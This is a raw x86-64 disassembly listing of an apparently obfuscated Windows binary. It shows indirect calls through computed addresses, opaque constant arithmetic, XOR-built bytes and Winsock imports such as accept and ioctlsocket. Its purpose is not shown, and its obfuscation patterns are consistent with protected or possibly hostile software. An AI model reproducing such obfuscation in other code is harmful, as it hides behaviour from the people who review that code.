xor al, 0x59
mov byte [rdi], al
mov rdi, qword [rbp + 0xa8]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f03b0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140035c6e
mov rbx, qword [rdi]
mov rax, qword [0x1402f03b8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f03c0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ed30]
cmp rdi, qword [rcx + rax*8]
jbe 0x140035c4d
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f03c8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ed50]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f03d0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f03d8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ed90]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140035c53
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, qword [rbp + 0xa8]
mov rax, qword [0x1402f03e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x64f7c8b1625d8884
imul rax, qword [0x140292478]
movabs rcx, 0xb6d373de826093a3
imul rcx, qword [0x140292480]
add rcx, rax
movabs rax, 0x476e7feec5bb94da
add rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f03e8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f03f0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1404a74f4]
movzx ecx, byte [0x140292488]
imul eax, eax, 0x78
shl ecx, 4
lea ecx, [rcx + rcx*4]
neg ecx
add cl, al
add cl, 0xc0
mov byte [rdi], cl
mov rsi, qword [r13 + 0x18]
mov rax, qword [0x1402f03f8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140035e1b
mov rbx, qword [r13]
mov rax, qword [0x1402f0400]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0408]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ee10]
cmp rdi, qword [rcx + rax*8]
jbe 0x140035e01
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f0410]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ee30]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f0418]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0420]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ee70]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140035e07
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x1402f0428]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x140292490]
mov rcx, qword [0x140292498]
shrd rcx, rax, 0x21
movabs rax, 0x6c9028c6dc3f6076
xor rax, rcx
mov qword [r13 + 0x10], rax
mov rax, qword [0x1402f0430]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [r13 + 0x18], rax
mov rax, qword [0x1402f0438]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402924a0]
movzx ecx, byte [0x1402924a1]
shr cl, 2
shl al, 6
or al, cl
xor al, 0x4a
mov byte [r13], al
mov rsi, qword [r15 + 0x18]
mov rax, qword [0x1402f0440]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140035faf
mov rbx, qword [r15]
mov rax, qword [0x1402f0448]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0450]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023eef0]
cmp rdi, qword [rcx + rax*8]
jbe 0x140035f95
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f0458]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ef10]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f0460]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0468]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023ef50]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140035f9b
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov qword [rbp + 0xa8], r14
mov r13, qword [rbp - 0x78]
mov rax, qword [0x1402f0470]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x1cd6b8a8feec8df7
imul rax, qword [0x1402924a8]
movabs rcx, 0x77248083f32223f7
imul rcx, qword [0x1402924b0]
add rcx, rax
movabs rax, 0xb49e0850a5d6dd2f
add rax, rcx
mov qword [r15 + 0x10], rax
mov rax, qword [0x1402f0478]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [r15 + 0x18], rax
mov rax, qword [0x1402f0480]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402924b8]
movzx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
imul eax, eax, 0xffffffea
imul ecx, ecx, 0x62
add cl, al
add cl, 0x96
mov byte [r15], cl
mov rax, qword [0x1402f0488]
add rax, r12
sub rsp, 0x20
lea rsi, [0x1404a5bdc]
lea rdx, [0x140231d8a]
mov rcx, rsi
call rax
add rsp, 0x20
nop
sub rsp, 0x20
mov rcx, r13
mov rdx, rsi
mov r8, qword [rbp - 0x80]
call fcn.14002fcd0
add rsp, 0x20
nop
mov rdi, qword [r13 + 0x10]
mov rbx, qword [r13 + 0x18]
cmp rbx, rdi
mov qword [rbp + 0xc0], r13
jne 0x14003616a
mov rax, qword [0x1402f04b0]
movabs rcx, 0xca54c307a36effe7
add rax, rcx
sub rsp, 0x20
lea rsi, [0x1404a5bd4]
lea rdx, [0x140231d56]
mov rcx, rsi
call rax
add rsp, 0x20
movabs rax, 0xf8977abe39de8c0
imul rax, qword [0x1402924c0]
movabs rcx, 0xd5c1031e2ba1c357
imul rcx, qword [0x1402924c8]
add rcx, rax
movabs rdx, 0x8e25818d8a80570e
add rdx, rcx
movabs rax, 0x1bd3dc60330457ba
imul rax, qword [0x1402924d0]
movabs rcx, 0x474f6563e257cd08
imul rcx, qword [0x1402924d8]
add rcx, rax
movabs rax, 0xfb91026b5a5470a9
add rax, rcx
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, r13
mov r9, rsi
call fcn.140056eb0
add rsp, 0x30
nop
mov rsi, rax
jmp 0x14003621b
mov rax, qword [0x1402f0490]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rsi, qword [rcx + rax*8]
add rsi, rdi
mov qword [r13 + 0x10], rsi
mov rax, qword [0x1402f0498]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, r13
cmp rbx, qword [rdx + rcx*8]
jbe 0x1400361bd
mov rax, qword [r13]
mov rbx, rax
mov rax, qword [0x1402f04a0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023efc8]
movzx eax, byte [rax + rcx]
mov byte [rbx + rdi], al
mov rax, qword [0x1402f04a8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402924ba]
movzx ecx, byte [0x1402924bb]
add eax, eax
lea eax, [rax + rax*8]
neg eax
imul ecx, ecx, 0xfffffff5
add cl, al
add cl, 0x3d
mov byte [rbx + rsi], cl
mov rsi, r13
mov r15, qword [rbp + 0x20]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
mov rax, qword [0x1402f04b8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x4a6e770cf1217ab0
imul rax, qword [0x1402924e0]
movabs rcx, 0x2dbe0248a8eebe5b
imul rcx, qword [0x1402924e8]
add rcx, rax
movabs rax, 0xb3d4641219697c19
add rax, rcx
mov qword [rsi + 0x10], rax
mov rax, qword [0x1402f04c0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1402f04c8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402924f0]
movzx ecx, byte [0x1402924f1]
shr cl, 2
shl al, 6
or al, cl
xor al, 0x96
mov byte [rsi], al
mov rsi, qword [r15 + 0x10]
mov rbx, qword [r15 + 0x18]
mov rdi, rbx
sub rdi, rsi
mov rax, qword [0x1402f04d0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023eff0]
cmp rdi, qword [rcx + rax*8]
mov qword [rbp + 0xb0], r15
jae 0x1400363c0
mov rax, qword [0x1402f04e8]
add rax, r12
sub rsp, 0x20
lea rsi, [0x1404a5ba8]
lea rdx, [0x140231cfa]
mov rcx, rsi
call rax
add rsp, 0x20
movabs rax, 0xec48750e434d8df
imul rax, qword [0x1402924f8]
movabs rcx, 0xb90c249c1da7202d
imul rcx, qword [0x140292500]
add rcx, rax
movabs rdx, 0x16c9b868ce06e886
add rdx, rcx
movabs rax, 0x564f78a004f3af8b
imul rax, qword [0x140292508]
movabs rcx, 0x5024e9a1740f0e8c
imul rcx, qword [0x140292510]
add rcx, rax
movabs rax, 0x73f8044c45f9e18
add rax, rcx
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, r15
mov r9, rsi
call fcn.140056eb0
add rsp, 0x30
nop
mov rsi, rax
mov r14, qword [rbp + 0xa8]
jmp 0x140036491
mov rax, qword [0x1402f04d8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f010]
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov qword [r15 + 0x10], rdi
mov rax, qword [0x1402f04e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, r15
cmp rbx, qword [rdx + rcx*8]
mov r14, qword [rbp + 0xa8]
jbe 0x140036419
mov rax, qword [r15]
mov rbx, rax
mov rax, qword [0x1402f04e8]
add rax, r12
sub rsp, 0x20
lea rcx, [0x1404a5ba8]
lea rdx, [0x140231cfa]
call rax
add rsp, 0x20
movups xmm0, xmmword [0x1404a5ba8]
movups xmmword [rbx + rsi], xmm0
movups xmm0, xmmword [0x1404a5bb8]
movups xmmword [rbx + rsi + 0x10], xmm0
mov eax, dword [0x1404a5bc8]
mov dword [rbx + rsi + 0x20], eax
mov rax, qword [0x1402f04f0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402924f2]
movzx ecx, byte [0x1402924f3]
shr cl, 6
shl al, 2
or al, cl
xor al, 0xb2
mov byte [rbx + rdi], al
mov rsi, r15
mov r13, qword [rbp - 0x70]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [r13 + 0x10], xmm1
movups xmmword [r13], xmm0
mov rax, qword [0x1402f04f8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x140292518]
mov rcx, qword [0x140292520]
shrd rcx, rax, 0x2f
movabs rax, 0x98c5b333362a82f8
xor rax, rcx
mov qword [rsi + 0x10], rax
mov rax, qword [0x1402f0500]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1402f0508]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_143]
movzx ecx, byte [0x140292529]
shr cl, 1
shl al, 7
or al, cl
xor al, 0xc6
mov byte [rsi], al
mov rsi, qword [r14 + 0x10]
mov rdi, qword [r14 + 0x18]
mov rax, qword [0x1402f0510]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rbx, r14
cmp rdi, qword [rcx + rax*8]
jbe 0x140036561
mov rbx, qword [r14]
mov r14, qword [r13 + 0x10]
mov r15, qword [r13 + 0x18]
mov rax, r15
sub rax, r14
cmp rax, rsi
mov qword [rbp + 0xb8], r13
jae 0x1400365ab
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rsi
mov rcx, r13
mov rdx, rsi
mov r9, rbx
call fcn.140056eb0
add rsp, 0x30
nop
mov rsi, rax
mov r14, qword [rbp + 0x28]
mov r13, qword [rbp + 0xb8]
jmp 0x140036630
lea rdi, [r14 + rsi]
mov qword [r13 + 0x10], rdi
mov rax, qword [0x1402f0518]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, r13
cmp r15, qword [rdx + rcx*8]
jbe 0x1400365de
mov rax, qword [r13]
mov r15, rax
mov rcx, r14
add rcx, rax
sub rsp, 0x20
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memmove
add rsp, 0x20
mov rax, qword [0x1402f0520]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x14029252a]
movzx ecx, byte [0x14029252b]
shr cl, 7
add al, al
or al, cl
xor al, 0xc1
mov byte [r15 + rdi], al
mov rsi, r13
mov r14, qword [rbp + 0x28]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov rax, qword [0x1402f0528]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x5215f1b10a914328
imul rax, qword [0x140292530]
movabs rcx, 0x36fe1cb782ba689c
imul rcx, qword [0x140292538]
add rcx, rax
movabs rax, 0xbc526f58ef75d80
add rax, rcx
mov qword [rsi + 0x10], rax
mov rax, qword [0x1402f0530]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1402f0538]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [reloc.WS2_32.dll_ioctlsocket]
movzx ecx, byte [0x140292541]
shr cl, 2
shl al, 6
or al, cl
xor al, 0x95
mov byte [rsi], al
mov rsi, qword [r14 + 0x10]
mov rbx, qword [r14 + 0x18]
mov rdi, rbx
sub rdi, rsi
mov rax, qword [0x1402f0540]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f0d0]
cmp rdi, qword [rcx + rax*8]
jae 0x1400367e3
mov rax, qword [0x1402f04e8]
add rax, r12
sub rsp, 0x20
lea rsi, [0x1404a5ba8]
lea rdx, [0x140231cfa]
mov rcx, rsi
call rax
add rsp, 0x20
movabs rax, 0x4bdb27b03bd0e4d7
imul rax, qword [0x140292548]
movabs rcx, 0xfc8682e35f70a74
imul rcx, qword [0x140292550]
add rcx, rax
movabs rdx, 0xf6cb45a053e6d278
add rdx, rcx
movabs rax, 0x640092326e2ead10
imul rax, qword [0x140292558]
movabs rcx, 0xe29b2fed51e25d05
imul rcx, qword [0x140292560]
add rcx, rax
movabs rax, 0x898fa3c3f823e1a9
add rax, rcx
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov qword [rbp + 0xc8], r14
mov rcx, r14
mov r9, rsi
call fcn.140056eb0
add rsp, 0x30
nop
mov rsi, rax
mov rax, qword [rbp + 0x30]
mov r15, qword [rbp + 0xc0]
mov r13, qword [rbp + 0xb8]
mov rdi, qword [rbp + 0xc8]
jmp 0x1400368ba
mov rax, qword [0x1402f0548]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f0f0]
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov qword [r14 + 0x10], rdi
mov rax, qword [0x1402f0550]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, r14
cmp rbx, qword [rdx + rcx*8]
mov r15, qword [rbp + 0xc0]
jbe 0x14003683c
mov rax, qword [r14]
mov rbx, rax
mov rax, qword [0x1402f04e8]
add rax, r12
sub rsp, 0x20
lea rcx, [0x1404a5ba8]
lea rdx, [0x140231cfa]
call rax
add rsp, 0x20
movups xmm0, xmmword [0x1404a5ba8]
movups xmmword [rbx + rsi], xmm0
movups xmm0, xmmword [0x1404a5bb8]
movups xmmword [rbx + rsi + 0x10], xmm0
mov eax, dword [0x1404a5bc8]
mov dword [rbx + rsi + 0x20], eax
mov rax, qword [0x1402f0558]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292542]
movzx ecx, byte [0x140292543]
shr cl, 1
shl al, 7
or al, cl
xor al, 0x54
mov byte [rbx + rdi], al
mov rsi, r14
mov rax, qword [rbp + 0x30]
mov rdi, r14
mov r14, rax
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov rax, qword [0x1402f0560]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0xdfb12910fedf887e
imul rax, qword [0x140292568]
movabs rcx, 0x26def3bb18684555
imul rcx, qword [0x140292570]
add rcx, rax
movabs rax, 0x2cd027585ed3df2f
add rax, rcx
mov qword [rsi + 0x10], rax
mov rax, qword [0x1402f0568]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1402f0570]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292578]
movzx ecx, byte [0x140292579]
imul eax, eax, 0xffffffe9
shl ecx, 3
lea ecx, [rcx + rcx*4]
neg ecx
add cl, al
add cl, 0x99
mov byte [rsi], cl
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f0578]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140036a8a
mov r15, r14
mov r14, rdi
mov rbx, qword [rdi]
mov rax, qword [0x1402f0580]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0588]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f190]
cmp rdi, qword [rcx + rax*8]
jbe 0x140036a63
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f0590]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f1b0]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f0598]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f05a0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f1f0]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140036a69
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, r14
mov r14, r15
mov r15, qword [rbp + 0xc0]
mov rax, qword [0x1402f05a8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x140292580]
mov rcx, qword [0x140292588]
shrd rcx, rax, 0xe
movabs rax, 0xf897b1a4c4ca7126
xor rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f05b0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f05b8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292590]
movzx ecx, byte [reloc.OLEAUT32.dll_VarDecFix]
shr cl, 7
add al, al
or al, cl
xor al, 0xad
mov byte [rdi], al
mov rsi, qword [r13 + 0x18]
mov rax, qword [0x1402f05c0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140036c1c
mov rbx, qword [r13]
mov rax, qword [0x1402f05c8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f05d0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f270]
cmp rdi, qword [rcx + rax*8]
jbe 0x140036c02
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f05d8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f290]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f05e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f05e8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f2d0]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140036c08
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x1402f05f0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x667408fe37a70c13
imul rax, qword [0x140292598]
movabs rcx, 0x83f2bcb2f08f1ebc
imul rcx, qword [0x1402925a0]
add rcx, rax
movabs rax, 0xb8ad7dd5102a39a9
add rax, rcx
mov qword [r13 + 0x10], rax
mov rax, qword [0x1402f05f8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [r13 + 0x18], rax
mov rax, qword [0x1402f0600]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402925a8]
movzx ecx, byte [0x1402925a9]
imul eax, eax, 0xffffffe4
imul ecx, ecx, 0x78
add cl, al
add cl, 0x1c
mov byte [r13], cl
mov rdi, qword [rbp + 0xb0]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f0608]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140036dd2
mov r13, rdi
mov rbx, qword [rdi]
mov rax, qword [0x1402f0610]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0618]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f350]
cmp rdi, qword [rcx + rax*8]
jbe 0x140036db5
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f0620]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f370]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f0628]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0630]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f3b0]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140036dbb
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, r13
mov rax, qword [0x1402f0638]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x147e6bdd9f5a5861
imul rax, qword [0x1402925b0]
movabs rcx, 0x65db7b2211aff567
imul rcx, qword [0x1402925b8]
add rcx, rax
movabs rax, 0x56634ee7acdd78e6
add rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f0640]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f0648]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402925c0]
movzx ecx, byte [0x1402925c1]
shr cl, 3
shl al, 5
or al, cl
xor al, 0xef
mov byte [rdi], al
mov rsi, qword [r15 + 0x18]
mov rax, qword [0x1402f0650]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140036f78
mov rbx, qword [r15]
mov rax, qword [0x1402f0658]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0660]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f430]
cmp rdi, qword [rcx + rax*8]
jbe 0x140036f5e
mov rdi, qword [rbx - 8]
mov rax, qword [0x1402f0668]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f450]
add rbx, qword [rcx + rax*8]
sub rbx, rdi
mov rax, qword [0x1402f0670]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp rbx, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0678]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023f490]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140036f64
mov rdx, rdi
mov rcx, rbx
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov qword [rbp + 0xb0], r14
mov rdi, qword [rbp - 0x68]
mov rax, qword [0x1402f0680]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x1402925c8]
mov rcx, qword [0x1402925d0]
shrd rcx, rax, 0x1d
movabs rax, 0x5e0eb2acb8bd96ea
xor rax, rcx
mov qword [r15 + 0x10], rax
mov rax, qword [0x1402f0688]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
